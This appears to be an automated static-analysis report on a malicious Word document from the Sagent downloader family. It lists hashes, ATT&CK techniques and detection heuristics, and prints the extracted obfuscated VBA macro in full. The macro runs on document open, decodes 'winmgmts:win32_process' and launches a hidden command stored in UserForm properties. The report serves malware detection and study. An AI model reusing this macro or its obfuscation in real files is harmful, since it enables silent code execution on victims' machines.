Sagent — Office (OLE) malware analysis

Static analysis result for SHA-256 219e833100cff883…

MALICIOUS

Office (OLE)

164.3 KB Created: 2020-08-07 07:48:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 98e8590f60d1c8c59eae5e9d16e528ac SHA-1: 8ec4f49378b3a8e2cb27308c8baed5b356511072 SHA-256: 219e833100cff883da67878f3fbc24407c0b2aab1da657abfd3bb94fddff158e
262 Risk Score

Malware Insights

Sagent · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a hidden UserForm to execute code, likely a command stager. This is further supported by the 'Document_Open' macro and 'CreateObject' calls, which are common for initiating malicious actions. The ClamAV detection 'Doc.Downloader.Sagent-9238926-0' strongly suggests the Sagent family and a downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-9238926-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9238926-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3985 bytes
SHA-256: 3612dd5d86ef5f508d222ea6367567fa8a413018118d0d7460b40ce76588364f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LDTLJxvwsubscvsaj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
GHJMXsantgsubwdxvqh.FEIKKfyrtctnj
End Sub


Attribute VB_Name = "GHJMXsantgsubwdxvqh"
Attribute VB_Base = "0{9749755C-A89F-4254-9ADD-3099A0A41FB4}{BFD35F38-0B80-46D4-A8AD-8B65060CF6C9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function FEIKKfyrtctnj()
Dim j1Ì6Î As Integer
j1Ì6Î = 9
Do While j1Ì6Î < 9 + 9
j1Ì6Î = j1Ì6Î + 1: DoEvents
Loop
Dim QaWytUTJ As Integer
QaWytUTJ = Len("nyb6ÜfY")
Dim EMdBhGoOL As Integer
EMdBhGoOL = Len("UXBm")
XUJZMgdiqjlbmoqmq = Chr(GHJMXsantgsubwdxvqh.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim AVRUMwK As Object
WJFENxpsqtpjz = "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsi3833h4*hh^@njhs72g hus7777bsnm3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsgm3833h4*hh^@njhs72g hus7777bst3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs" + XUJZMgdiqjlbmoqmq + "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs:3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsin3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs33833h4*hh^@njhs72g hus7777bs23833h4*hh^@njhs72g hus7777bs_3833h4*hh^@njhs72g hus7777bs" + GHJMXsantgsubwdxvqh.GBXHFsqtorwequlmgzk + "3833h4*hh^@njhs72g hus7777bsro3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsce3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bs"
Dim MoLW As Object
ZJCIYbbhjsjp = AVDMSabkvmihtjliis(WJFENxpsqtpjz)
Dim aXw As Integer
aXw = 1
Do While aXw < 1 + 8
aXw = aXw + 9: DoEvents
Loop
Set BPURQinhjssemvbkm = CreateObject(ZJCIYbbhjsjp)
Dim O1åA As Integer
O1åA = 6
Do While O1åA < 6 + 6
O1åA = O1åA + 3: DoEvents
Loop
XMAHUfktcyhjkktg = GHJMXsantgsubwdxvqh.WEJQEcxqzzphvxzoh.ControlTipText
Dim BZ1ÎWrm As Boolean
HMNIWclzzrafpzkoevx = b3 + (ZJCIYbbhjsjp + XUJZMgdiqjlbmoqmq + GHJMXsantgsubwdxvqh.RRFRFfmsnsjqkepg.ControlTipText + XMAHUfktcyhjkktg)
Dim Lhs8ÝW8ÃZV As Integer
Lhs8ÝW8ÃZV = 4
Do While Lhs8ÝW8ÃZV < 4 + 5
Lhs8ÝW8ÃZV = Lhs8ÝW8ÃZV + 2: DoEvents
Loop
JEFTYcjdpyqqu = HMNIWclzzrafpzkoevx + GHJMXsantgsubwdxvqh.GBXHFsqtorwequlmgzk
Dim P3áOQ As Object
Set HADNHbofepajteu = SNCPVksociaxci(JEFTYcjdpyqqu)
Dim fYLYIDH As Integer
fYLYIDH = Len("ZQfY")
s = Array(v + "is", BPURQinhjssemvbkm. _
Create(YTONLhtzimtifvii, GUSQLdqocotkoetxj, HADNHbofepajteu), i + "rt")
Dim qZNvlj As Double
End Function
Function SNCPVksociaxci(OYTRFxtdjopvszkioe)
Set SNCPVksociaxci = CreateObject(OYTRFxtdjopvszkioe)
Dim oFNsCjHpPN As Double
SNCPVksociaxci. _
showwindow = PXKQVjffeunvmlc + YSJTFqdwfrwsk + ENAQCggpyilgyv
Dim w0ÎjMvtMr As Byte
End Function
Function AVDMSabkvmihtjliis(OGCCMgugxahwnptzctd)
GDTRJmrwxoayx = OGCCMgugxahwnptzctd
Dim rrv As Integer
rrv = 3
Do While rrv < 3 + 1
rrv = rrv + 4: DoEvents
Loop
BJBYJyjtbfozp = Split _
(GDTRJmrwxoayx, "3833h4*hh^@njhs72g hus7777bs")
Dim uRbu4Äf As Integer
uRbu4Äf = 8
Do While uRbu4Äf < 8 + 6
uRbu4Äf = uRbu4Äf + 2: DoEvents
Loop
ZLTQBtlllqrrpoiev = e2 + Join(BJBYJyjtbfozp, w1)
Dim wE8e As Date
AVDMSabkvmihtjliis = ZLTQBtlllqrrpoiev
Dim II0Í6àm8È As Variant
End Function
Function YTONLhtzimtifvii()
q = GHJMXsantgsubwdxvqh.FEXALdwsbuljbzbdlj.Pages((2 * 5) / 10).Caption
Dim KcJ2ÑZNvlja As Integer
KcJ2ÑZNvlja = 4
Do While KcJ2ÑZNvlja < 4 + 5
KcJ2ÑZNvlja = KcJ2ÑZNvlja + 2: DoEvents
Loop
YTONLhtzimtifvii = AVDMSabkvmihtjliis(q)
Dim WpUViEN As Integer
WpUViEN = 6
Do While WpUViEN < 6 + 4
WpUViEN = WpUViEN + 4: DoEvents
Loop
End Function